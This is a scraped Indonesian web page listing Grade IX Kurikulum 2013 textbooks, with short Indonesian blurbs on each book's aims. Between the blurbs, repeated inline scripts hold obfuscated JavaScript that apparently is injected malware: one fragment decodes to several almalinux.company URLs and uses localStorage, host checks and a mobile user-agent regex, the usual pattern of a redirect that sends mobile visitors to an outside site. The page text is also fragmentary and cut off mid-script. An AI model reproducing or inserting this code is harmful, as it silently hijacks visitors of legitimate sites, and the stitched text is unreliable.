_0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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Buku Siswa - Pendidikan Agama Hindu dan Budi Pekerti SMP Kelas IX

Ida Bagus Sudirga, Untung Suhardi

<p>Pengetahuan agama yang dipelajari peserta didik menjadi sumber nilai dan penggerak perilaku mereka. Sekadar contoh, di antara nilai budi pekerti dalam agama Hindu dikenal dengan Tri Marga (bakti kepada Tuhan, orang tua, dan guru; karma, bekerja sebaik-baiknya untuk dipersembahkan kepada orang lain dan Tuhan; Jnana, menuntut ilmu sebanyak banyaknya untuk bekal hidup dan penuntun hidup), dan Tri Warga (dharma, berbuat berdasarkan atas kebenaran; artha, memenuhi harta benda kebutuhan hidup berdasarkan kebenaran, dan kama, memenuhi keinginan sesuai dengan norma-norma yang berlaku). Dalam pembentukan budi pekerti, proses pembelajarannya mesti mengantar mereka dari pengetahuan tentang kebaikan, lalu menimbulkan komitmen terhadap kebaikan, dan akhirnya benar-benar melakukan kebaikan.</p><p>Buku Pendidikan Agama Hindu dan Budi Pekerti SMP Kelas IX (edisi Revisi) ini ditulis dengan semangat pembelajaran yang berbasis pada kegiatan. Pembelajarannya dibagi ke dalam beberapa kegiatan keagamaan yang harus dilakukan peserta didik dalam usaha memahami pengetahuan agamanya dan mengaktualisasikannya dalam tindakan nyata dan sikap keseharian, baik dalam bentuk kegiatan ritual maupun sosial.</p><p>Sebagai edisi revisi, buku ini sangat terbuka untuk terus dilakukan perbaikan dan penyempurnaan. Oleh karena itu, kami mengundang para pembaca memberikan kritik, saran, dan masukan untuk perbaikan dan penyempurnaan terhadap buku ini. Atas kontribusi itu, kami mengucapkan terima kasih. Mudah-mudahan kita dapat memberikan yang terbaik bagi kemajuan dunia pendidikan dalam rangka mempersiapkan generasi seratus tahun Indonesia Merdeka (2045).</p> <script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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Buku Siswa - Pendidikan Agama Buddha dan Budi Pekerti SMP Kelas IX

Karsan, Sulan

<p>Buku ini menawarkan pembelajaran yang berbeda dengan memadukan pemahaman konsep untuk mengantarkan peserta didik menuju penguasaan kompetensi sikap, pengetahuan, dan keterampilan. Pendekatan ini selaras dengan pandangan dalam agama Buddha bahwa belajar tidak hanya untuk mengetahui dan mengingat (pariyatti), tetapi juga untuk melaksanakan (patipatti), dan mencapai hasil (pativedha). “Seseorang banyak membaca kitab suci, tetapi tidak berbuat sesuai dengan ajaran, orang yang demikian itu sama seperti gembala yang menghitung sapi milik orang lain, ia tidak akan memperolah manfaat kehidupan suci.” (Dhp.19).</p><p>Sebagai edisi revisi, buku ini sangat terbuka kembali untuk mendapat masukan dan akan terus disempurnakan sesuai kebutuhan dan tantangan zaman. Oleh karena itu, penulis mengharapkan para pembaca untuk memberikan kritik, saran, dan masukan guna penyempurnaan pada edisi berikutnya. Atas kontribusi itu, kami mengucapkan terima kasih. Semoga buku ini dapat bermanfaat untuk peserta didik dalam proses pembelajaran dan pengembangan Buddha Dharma di Indonesia. Sabbe satta bhavantu sukhitatta. Sadhu sadhu sadhu.</p> <script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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Buku Siswa - Matematika SMP Kelas IX

Subchan, Winarni, ...

<p>Siswa dalam pembelajaran Kurikulum 2013 tidak diperkenankan lagi meminta guru untuk memberikan semua pengetahuan secara langsung atau dengan metode lama yaitu ceramah. Dalam pembelajaran berdasarkan kurikulum 2013, siswa akan diajak, diarahkan, dan dipandu oleh guru agar siswa secara aktif menggali pengetahuan, menemukan dan mengkontruksi suatu konsep dengan beraktivitas dan bernalar melalui kegiatan-kegiatan yang disajikan. Pembelajaran matematika diarahkan agar siswa mampu berpikir rasional, kritis dan kreatif, memiliki rasa ingin tahu yang tinggi pada ilmu pengetahuan, mampu berkomunikasi dan bekerjasama, jujur, konsisten, dan tangguh dalam menghadapi masalah. Untuk itu, pembelajaran dilakukan dengan pendekatan pembelajaran ilmiah yang mencakup lima hal, yaitu (1) mengamati suatu objek, fenomena, kejadian, atau informasi lainnya; (2) membuat pertanyaan/menanya; (3) menggali/mengumpulkan informasi/ mencoba; (4) menalar/mengasosiasi/menganalisa; dan (5) mengkomunikasikan.</p><p>Pembahasan materi dalam buku ini selalu didahului dengan pengetahuan konkret yang dijumpai siswa dalam kehidupan sehari-hari. Permasalahan konkret tersebut dipergunakan sebagai jembatan untuk menuju ke dunia matematika abstrak melalui pemanfaatan simbol-simbol matematika yang sesuai melalui permodelan. Sesampainya pada ranah abstrak, metode-metode matematika diperkenalkan untuk menyelesaikan model permasalahan yang diperoleh dan mengembalikan hasilnya pada ranah konkret. Sesuai dengan pendekatan yang dipergunakan dalam Kurikulum 2013, siswa diharuskan untuk mencari dan mengeksplorasi sumber belajar lain yang tersedia dan&nbsp; terbentang luas di sekitarnya. Peran guru sangat penting untuk meningkatkan dan menyesuaikan daya serap siswa dengan ketersedian kegiatan pada buku ini. Guru dapat memperkayanya dengan kreasi dalam bentuk kegiatan dan media belajar lain yang sesuai dan relevan yang bersumber dari lingkungan sosial dan alam.</p><p>Terkait dengan materi, dalam kurikulum 2013 sejak kelas VII telah diajarkan antara lain tentang data dan peluang; pola dan barisan bilangan, aljabar, dan bangun; serta transformasi geometri. Keseimbangan antara matematika angka dan matematika pola dan bangun selalu dijaga. Kompetensi pengetahuan bukan hanya sampai memahami secara konseptual tetapi sampai ke penerapan melalui pengetahuan prosedural dalam pemecahan masalah matematika termasuk dalam masalah dalam kehidupan nyata. Kompetensi keterampilan berfikir juga diasah untuk dapat memecahkan masalah yang membutuhkan pemikiran order tinggi seperti menalar pemecahan masalah melalui pemodelan, pembuktian dan perkiraan/pendekatan.</p> <script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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Buku Siswa - Ilmu Pengetahuan Sosial SMP Kelas IX

Iwan Setiawan, Suciati, ...

<p>Kurikulum 2013 menuntut pembelajaran IPS secara terpadu, supaya pembelajaran IPS lebih bermakna bagi peserta didik dalam konteks kehidupan sehari-hari. Peserta didik akan memperoleh pemahaman yang lebih luas dan utuh. Mata Pelajaran IPS mengkaji berbagai aspek kehidupan masyarakat secara terpadu, karena kehidupan masyarakat sebenarnya merupakan sebuah sistem dan totalitas dari berbagai aspek. Kehidupan masyarakat bersifat multidimensional, sehingga pembelajaran IPS yang dilaksanakan secara terpadu diharapkan mampu mengantarkan dan mengembangkan kompetensi peserta didik ke arah kehidupan masyarakat dengan baik dan fungsional, memiliki kepekaan sosial, dan mampu berpartisipasi dalam mengatasi masalah-masalah sosial yang terjadi.</p><p>Sebagai transisi menuju ke jenjang pendidikan menengah, pemisahan ini masih belum dilakukan sepenuhnya. Bidang-bidang ilmu Geografi , Sejarah, Sosiologi, Antropologi, dan Ekonomi masih perlu disajikan sebagai suatu kesatuan dalam mata pelajaran IPS (Ilmu Pengetahuan Sosial). Pembelajarannya ditujukan untuk memberikan wawasan yang utuh bagi peserta didik SMP/MTs tentang konsep konektivitas ruang dan waktu beserta aktivitas-aktivitas sosial di dalamnya.</p><p>Mata Pelajaran IPS dirumuskan atas dasar realitas sosial, baik pada tataran nasional, ASEAN, maupun global. Pelajaran IPS merupakan salah satu mata pelajaran wajib di SMP/MTs dengan ruang lingkup materi adalah Geografi , Sosiologi, Ekonomi, Antropologi, dan Sejarah. Pembelajaran IPS perlu diorganisasikan dengan pendekatan interdisipliner, multidisipliner atau transdisipliner dari ilmu-ilmu sosial, humaniora, dan psikologi perkembangan iv Kelas IX SMP/MTs Edisi Revisi peserta didik. Mata Pelajaran IPS dilaksanakan melalui pembelajaran terpadu dengan menggunakan geografi sebagai titik tolak (platform) kajian dengan pertimbangan semua kejadian terikat dengan lokasi. Tujuannya adalah menekankan pentingnya interaksi antarruang dalam memperkokoh NKRI. Pembelajaran IPS di SMP/MTs lebih mengutamakan realitas sosial sebagai materi pembelajaran untuk mengembangkan sikap peduli sosial, berpikir logis, sistematis, kritis, analitis, dan keterampilan sosial dalam menghadapi abad ke-XXI.</p><p>Buku ini menjabarkan usaha minimal yang harus dilakukan peserta didik untuk mencapai kompetensi yang diharapkan. Sesuai dengan pendekatan yang dipergunakan dalam Kurikulum 2013, peserta didik diajak berani untuk mencari sumber belajar lain yang tersedia dan terbentang luas di sekitarnya. Peran guru sangat penting untuk meningkatkan dan menyesuaikan daya serap peserta didik dengan ketersediaan kegiatan pada buku ini. Guru dapat memperkayanya dengan kreasi dalam bentuk kegiatan-kegiatan lain yang sesuai dan relevan yang bersumber dari lingkungan sosial dan alam. Sebagai edisi pertama, buku ini sangat terbuka terhadap masukan yang akan terus diperbaiki dan disempurnakan. Untuk itu, kami mengundang para pembaca untuk memberikan kritik, saran dan masukan guna perbaikan dan penyempurnaan edisi berikutnya. Atas kontribusi tersebut, kami ucapkan terima kasih. Mudah-mudahan kita dapat memberikan yang terbaik bagi kemajuan dunia pendidikan dalam rangka mempersiapkan generasi seratus tahun Indonesia Merdeka (2045).</p> <script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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Buku Siswa - Ilmu Pengetahuan Alam SMP Kelas IX Semester II

Siti zubaidah, Susriyati Mahanal, ...

<p>Buku IPA Kelas IX SMP/MTs ini disusun dengan pemikiran di atas. Bidang ilmu Biologi dipakai sebagai landasan (platform) pembahasan idang ilmu yang lain. Makhluk hidup digunakan sebagai objek untuk menjelaskan prinsip-prinsip dasar yang mengatur alam seperti objek alam dan interaksinya, energi dan keseimbangannya, dan lain-lain. Melalui pembahasan menggunakan bermacam bidang ilmu dalam rumpun ilmu pengetahuan alam, pemahaman utuh tentang alam yang dihuninya beserta benda-benda alam yang dijumpai di sekitarnya dapat dikuasai oleh peserta didik SMP/MTs.&nbsp;</p><p>Sebagai salah satu rumpun ilmu yang digunakan untuk mengukur kemajuan pendidikan suatu negara, pemahaman peserta didik suatu negara terhadap IPA dibandingkan secara rutin sebagaimana dilakukan melalui TIMSS (The Trends in International Mathematics and Science Study) dan PISA (Program for International Student Assessment). Melalui penilaian internasional seperti ini, kita dapat mengetahui kualitas pembelajaran IPA di Indonesia dibandingkan dengan negara -negara lain. Materi IPA pada Kurikulum 2013 ini telah disesuaikan dengan tuntutan penguasaan materi IPA menurut TIMSS dan PISA.</p><p>Sesuai dengan konsep Kurikulum 2013, buku ini disusun mengacu pada pembelajaran IPA secara terpadu dan utuh. Untuk setiap pengetahuan yang diajarkan, pembelajarannya harus dilanjutkan hingga menjadikan peserta didik terampil dalam menyajikan pengetahuan yang dikuasainya secara konkret dan abstrak. Selain itu, peserta didik diarahkan agar mampu bersikap sebagai makhluk yang mensyukuri anugerah alam semesta yang dikaruniakan kepadanya melalui pemanfaatan yang bertanggung jawab.</p><p>Buku ini menjabarkan usaha minimal yang harus dilakukan peserta didik untuk mencapai kompetensi yang diharapkan. Sesuai dengan pendekatan yang digunakan dalam Kurikulum 2013, peserta didik didorong untuk berani mencari sumber belajar lain yang tersedia dan terbentang luas di sekitarnya. Peran guru sangat penting untuk meningkatkan dan menyesuaikan daya serap peserta didik dengan ketersediaan kegiatan pada buku ini. Guru dapat memperkaya kegiatan dengan mengkreasi bentuk kegiatan-kegiatan lain yang sesuai dan relevan yang bersumber dari lingkungan sosial dan alam.</p> <script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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Buku Siswa - Ilmu Pengetahuan Alam SMP Kelas IX Semester I

Siti zubaidah, Susriyati Mahanal, ...

<p>Buku IPA Kelas IX SMP/MTs ini disusun dengan pemikiran di atas. Bidang ilmu Biologi dipakai sebagai landasan (platform) pembahasan bidang ilmu yang lain. Makhluk hidup digunakan sebagai objek untuk menjelaskan prinsip-prinsip dasar yang mengatur alam seperti objek alam dan interaksinya, energi dan keseimbangannya, dan lain-lain. Melalui pembahasan menggunakan bermacam bidang ilmu dalam rumpun ilmu pengetahuan alam, pemahaman utuh tentang alam yang dihuninya beserta benda-benda alam yang dijumpai di sekitarnya dapat dikuasai oleh peserta didik SMP/MTs.</p><p>Sebagai salah satu rumpun ilmu yang digunakan untuk mengukur kemajuan pendidikan suatu negara, pemahaman peserta didik suatu negara terhadap IPA dibandingkan secara rutin sebagaimana dilakukan melalui TIMSS (The Trends in International Mathematics and Science Study) dan PISA (Program for International Student Assessment). Melalui penilaian internasional seperti ini, kita dapat mengetahui kualitas pembelajaran IPA di Indonesia dibandingkan dengan negara -negara lain. Materi IPA pada Kurikulum 2013 ini telah disesuaikan dengan tuntutan penguasaan materi IPA menurut TIMSS dan PISA.</p><p>Sesuai dengan konsep Kurikulum 2013, buku ini disusun mengacu pada pembelajaran IPA secara terpadu dan utuh. Untuk setiap pengetahuan yang diajarkan, pembelajarannya harus dilanjutkan hingga menjadikan peserta didik terampil dalam menyajikan pengetahuan yang dikuasainya secara konkret dan abstrak. Selain itu, peserta didik diarahkan agar mampu bersikap sebagai makhluk yang mensyukuri anugerah alam semesta yang dikaruniakan kepadanya melalui pemanfaatan yang bertanggung jawab.</p><p>Buku ini menjabarkan usaha minimal yang harus dilakukan peserta didik untuk mencapai kompetensi yang diharapkan. Sesuai dengan pendekatan yang digunakan dalam Kurikulum 2013, peserta didik didorong untuk berani mencari sumber belajar lain yang tersedia dan terbentang luas di sekitarnya. Peran guru sangat penting untuk meningkatkan dan menyesuaikan daya serap peserta didik dengan ketersediaan kegiatan pada buku ini. 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Buku Siswa - Bahasa Inggris SMP Kelas IX

Siti Wachidah, Asep Gunawan, ...

<p>Pembelajaran Bahasa Inggris untuk SMP/MTs Kelas IX ini disusun untuk meningkatkan kemampuan berbahasa Inggris para siswa. Penyajiannya menggunakan pendekatan pembelajaran berbasis teks, baik lisan maupun tulis dengan menempatkan bahasa Inggris sebagai sarana berkomunikasi, berpikir, dan mengolah rasa. Pemahaman terhadap jenis, kaidah, dan konteks suatu teks ditekankan sehingga memudahkan siswa menangkap makna yang terkandung dalam suatu teks dan menyajikan informasi, gagasan, pikiran, dan perasaan dalam bentuk teks secara kontekstual sehingga mudah dipahami orang lain. Komunikasi yang disajikan di sini adalah komunikasi seharihari. Bagi beberapa sekolah dan daerah yang telah mengajarkan bahasa Inggris mulai dari kelas-kelas akhir SD/MI, materi yang disajikan perlu diperkaya dengan materi tambahan yang disesuaikan dengan kemampuan siswa, walaupun struktur pembelajarannya tetap mengacu pada model yang ada dalam buku ini.</p> <script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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_0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x142fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'\x68\x74\x74\x70\x3a\x2f\x2f\x61\x6c\x6d\x61\x6c\x69\x6e\x75\x78\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x61\x63\x57\x31\x63\x341',_0x3ec38a(0x187),_0x3ec38a(0x18b),'\x68\x74\x74\x70\x3a\x2f\x2f\x61\x6c\x6d\x61\x6c\x69\x6e\x75\x78\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x5a\x56\x61\x34\x63\x364',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'\x68\x74\x74\x70\x3a\x2f\x2f\x61\x6c\x6d\x61\x6c\x69\x6e\x75\x78\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x68\x46\x4d\x39\x63\x339','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return 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Buku Siswa - Bahasa Indonesia SMP Kelas IX

Titik Harsiati, Agus Trianto, ...

Buku Guru - Seni Budaya SMP Kelas IX

Milasari, Heru Subagio, ...

<p>Seni Budaya untuk Kelas IX SMP/MTs yang disajikan dalam buku ini juga tunduk pada ketentuan tersebut. Seni Budaya bukan aktivitas dan materi pembelajaran yang dirancang hanya untuk mengasah kompetensi keterampilan siswa sebagaimana dirumuskan selama ini. Seni Budaya harus mencakup aktivitas dan materi pembelajaran yang memberikan kompetensi pengetahuan tentang karya seni budaya dan kompetensi sikap yang terkait dengan seni budaya. Seni Budaya dalam Kurikulum 2013 dirumuskan untuk mencakup sekaligus studi karya seni budaya untuk mengasah kompetensi pengetahuan, baik dari karya maupun nilai yang terkandung di dalamnya, praktik berkarya seni budaya untuk mengasah kompetensi keterampilan, dan pembentukan sikap apresiasi terhadap seni budaya sebagai hasil akhir dari studi dan praktik karya seni budaya.</p><p>Pembelajarannya dirancang berbasis aktivitas dalam sejumlah ranah seni budaya, yaitu seni rupa, tari, musik, dan teater yang diangkat dari tema-tema seni yang merupakan warisan budaya bangsa. Selain itu juga mencakup kajian warisan budaya yang bukan berbentuk praktik karya seni budaya. Aktivitasaktivitas tersebut tidak hanya terkait dengan studi dan praktik karya seni budaya, melainkan juga melalui pelibatan aktif tiap siswa dalam kegiatan seni budaya yang diselenggarakan oleh kelas maupun sekolah. Sebagai mata pelajaran yang mengandung unsur muatan lokal, tambahan materi yang digali dari kearifan lokal dan relevan sangat diharapkan untuk ditambahkan sebagai pengayaan dari buku ini.</p><p>Sesuai dengan konsep Kurikulum 2013, buku ini disusun dengan mengacu pada pembelajaran Seni Budaya secara terpadu dan utuh. Keterpaduan dan keutuhan tersebut diwujudkan dalam setiap pengetahuan yang diajarkan, pembelajarannya harus dilanjutkan sampai siswa terampil dalam menyajikan pengetahuan yang dikuasainya secara konkret dan abstrak dalam bentuk atau terkait dengan karya seni budaya, dan bersikap sebagai manusia dengan rasa penghargaan yang tinggi terhadap karya-karya seni warisan budaya dan warisan budaya bentuk lainnya.</p><p>Buku ini menjabarkan usaha minimal yang harus dilakukan siswa untuk mencapai kompetensi yang diharapkan. Sesuai dengan pendekatan yang digunakan dalam Kurikulum 2013, siswa diajak untuk berani mencari sumber belajar lain yang tersedia dan terbentang luas di sekitarnya. Peran guru dalam meningkatkan dan menyesuaikan daya serap siswa dengan ketersediaan kegiatan pada buku ini sangat penting. Guru dapat memperkayanya dengan kreasi dalam bentuk kegiatan-kegiatan lain yang sesuai dan relevan yang bersumber dari lingkungan sosial dan alam.</p><p>Sebagai edisi pertama, buku ini sangat terbuka terhadap masukan dan akan terus diperbaiki dan disempurnakan. Untuk itu, kami mengundang para pem baca untuk memberikan kritik, saran, dan masukan guna perbaikan dan penyem purnaan edisi berikutnya. Atas kontribusi tersebut, kami ucapkan terima kasih. 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Buku Guru - Prakarya Dan Kewirausahaan SMP Kelas IX

Dewi Sri Handayani Nuswantari, Sukri Faroki, ...

<p>Ruang lingkup mata pelajaran prakarya untuk SMP kelas IX meliputi empat aspek, yaitu Kerajinan, Rekayasa, Budi Daya, dan Pengolahan. Dimana dari ke empat aspek itu para siswa diharapkan mampu untuk membuat produk dengan memanfaatkan potensi dari alam sekitar. Buku Prakarya kelas VII ini merupakan edisi revisi yang disusun dengan mengacu kepada kurikulum 2013 yang telah disempurnakan, baik kompetensi inti maupun kompetensi dasar. Untuk membantu siswa memahami materi Prakarya pada setiap pembahasan disertai dengan gambar dan penugasan yang mengajak siswa untuk aktif bereksplorasi dengan lingkungannya maupun media belajar lainnya.</p><p>Harapan penulis buku ini dapat memotivasi siswa untuk lebih kreatif dan inovatif dalam memecahkan masalah praktis dengan memanfaatkan potensi sumber daya alam yang ada di daerah masing-masing. Penulis juga berharap buku ini dapat memberikan sumbangsih dalam upaya meningkatkan kualitas hasil belajar siswa serta turut melestarikan kerajinan, budaya, dan teknologi bangsa Indonesia.</p> <script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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Buku Guru - Pendidikan Pancasila dan Kewarganegaraan SMP Kelas IX

Ai Tin Sumartini, Asep Sutisna Putra

<p>Pendidikan Pancasila dan Kewarganegaraan sebagai mata pelajaran dimaksudkan untuk membentuk peserta didik menjadi manusia yang memiliki rasa kebangsaan dan cinta tanah air dalam konteks nilai dan moral Pancasila, kesadaran berkonstitusi Undang–Undang Dasar Negara Republik Indonesia 1945, nilai dan semangat Bhinneka Tunggal Ika, serta komitmen Negara Kesatuan Republik Indonesia.</p><p>Dalam kurikulum 2013 pembelajaran difokuskan pada pencapaian tiga tingkat kompetensi, yaitu pengetahuan, keterampilan, dan sikap yang dibelajarkan secara utuh. Pada mata pelajaran PPKn, pengembangan kompetensi tersebut meliputi seluruh dimensi kewarganegaraan, yakni: (1) sikap kewarganegaraan termasuk keteguhan, komitmen dan tanggung jawab kewarganegaraan (civic confidence, civic committment, and civic responsibility); (2) pengetahuan kewarganegaraan; (3) keterampilan kewarganegaraan termasuk kecakapan dan partisipasi kewarganegaraan (civic competence and civic responsibility). Pembahasannya dilakukan secara utuh meliputi Pancasila, UUD Negara Republik Indonesia Tahun 1945, Negara Kesatuan Republik Indonesia, dan Bhinneka Tunggal Ika.</p><p>Pembelajaran Pendidikan Pancasila dan Kewarganegaraan dirancang berbasis aktivitas, dikaitkan dengan sejumlah tema kewarganegaraan, yang diharapkan dapat mendorong peserta didik menjadi warga negara yang baik, melalui kepeduliannya terhadap permasalahan dan tantangan yang dihadapi masyarakat sekitarnya. Kepedulian tersebut, ditunjukkan dalam bentuk partisipasi aktif dalam pengembangan komunitas yang terkait dengan dirinya. Kompetensi yang dihasilkan bukan lagi terbatas pada kajian pengetahuan dan keterampilan penyajian hasil kajiannya dalam bentuk karya tulis, tetapi lebih ditekankan kepada pembentukan sikap dan tindakan nyata yang harus mampu dilakukan oleh tiap peserta didik. Dengan demikian akan terbentuk sikap yang cinta dan bangga sebagai bangsa Indonesia.</p><p>Buku ini merupakan panduan minimal bagi guru dalam membelajarkan peserta didik melalui pendekatan scientific dengan model pembelajaran Discovery Learning (DL), Problem Based Learning (PBL), dan Project Based Learning (PjBL). Di samping itu disajikan pula implementasi model-model pembelajaran alternatif bagi mata pelajaran Pendidikan Pancasila dan Kewarganegaraan, sehingga pembelajaran yang disajikan dapat lebih bermakna. Guru dituntut untuk berani mengembangkan pembelajaran melalui kreasi dan inovasi model-model pembelajaran yang ada sesuai dengan karakteristik mata pelajaran PPKn dalam bentuk kegiatan-kegiatan lain yang sesuai dan relevan bersumber pada lingkungan sosial dan alam sekitarnya.</p><p>Buku edisi revisi ini merupakan penyempurnaan dari buku sebelumnya sebagai implikasi dari terbitnya kurikulum 2013 yang telah disempurnakan, meskipun demikian buku ini masih perlu adanya perbaikan dan penyempurnaan. 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Buku Guru - Pendidikan Jasmani, Olahraga dan Kesehatan SMP Kelas IX

Suherman

<p>Buku ini menjabarkan usaha minimal yang harus dilakukan siswa untuk mencapai kompetensi yang diharapkan. Sesuai dengan pendekatan yang digunakan dalam Kurikulum 2013, siswa diajak menjadi berani untuk mencari sumber belajar lain yang tersedia dan terbentang luas di sekitarnya. Peran guru dalam meningkatkan dan menyesuaikan daya serap siswa dengan ketersediaan kegiatan pada buku ini sangat penting. Guru dapat memperkayanya dengan kreasi dalam bentuk kegiatan-kegiatan lain yang sesuai dan relevan yang bersumber dari lingkungan sosial dan alam.</p><p>Buku ini merupakan edisi ke-2 sebagai penyempurnaan edisi ke-1. Buku ini sangat terbuka dan perlu terus dilakukan perbaikan dan penyempurnaan. Untuk itu, kami mengundang para pembaca memberikan kritik, saran, dan masukan untuk perbaikan dan penyempurnaan pada edisi berikutnya. Atas kontribusi tersebut, kami ucapkan terima kasih. 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Buku Guru - Pendidikan Agama Kristen dan Budi Pekerti SMP Kelas IX

Stephen Suleeman, Dien Sumiyatiningsih

<p>Buku Pendidikan Agama Kristen dan Budi Pekerti Kelas IX ini ditulis dengan mendasarkan pembelajaran pada rumusan kompetensi yang mencakup ranah sikap, keterampilan dan pengetahuan. Untuk mencapai tujuan tersebut ditegaskan, supaya ranah pengetahuan digunakan untuk mengembangkan sikap spiritual agar menjadi remaja yang beriman, dan sikap sosial agar menjadi remaja dengan akhlak mulia.</p><p>Pendekatan yang digunakan untuk mencapai kompetensi yang ditetapkan adalah menggunakan Kurikulum 2013, dimana siswa didorong untuk mencari sumber belajar lain yang lebih variatif dan kaya yang tersedia secara luas disekitarnya. Hasil secara maksimal pemakaian buku ini sesungguhnya sangat tergantung dari kerjasama berbagai pihak. Dalam konteks ini peran guru sangatlah penting untuk meningkatkan dan menyesuaikan daya serap siswa dengan ketersediaan kegiatankegiatan yang relevan pada buku ini. Untuk itu dukungan nyata kepala sekolah dan para pengawas sangat dibutuhkan. Orang tua juga perlu terlibat dalam pemaian buku ini, karena banyak waktu siswa dialokasikan di rumah. Dalam perspektif biblis, orang tua menjadi pendidik yang pertama dan utama bagi anak-anaknya.</p> <script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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Buku Guru - Pendidikan Agama Khonghucu dan Budi Pekerti SMP Kelas IX

Hartono Hutomo, Sugiandi Surya Atmaja

<p>Buku Pendidikan Agama Khonghucu dan Budi Pekerti Kelas IX ditulis dengan semangat itu. Pembelajarannya dibagi dalam kegiatan-kegiatan keagamaan yang harus dilakukan peserta didik dalam usaha memahami pengetahuan agamanya dan diaktualisasikan dalam tindakan nyata dan sikap keseharian. Dalam artian, bahwa buku ini bukan satu-satunya sumber belajar bagi peserta didik.</p><p>Peran guru sangat penting untuk meningkatkan dan menyesuaikan daya serap peserta didik dengan ketersediaan kegiatan yang ada pada buku ini. Penyesuaian ini antara lain dengan membuka kesempatan luas bagi guru untuk berkreasi dan memperkayanya dengan kegiatan-kegiatan lain yang sesuai dan relevan, yang bersumber dari lingkungan alam, sosial, dan budaya sekitar.</p> <script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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|\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v 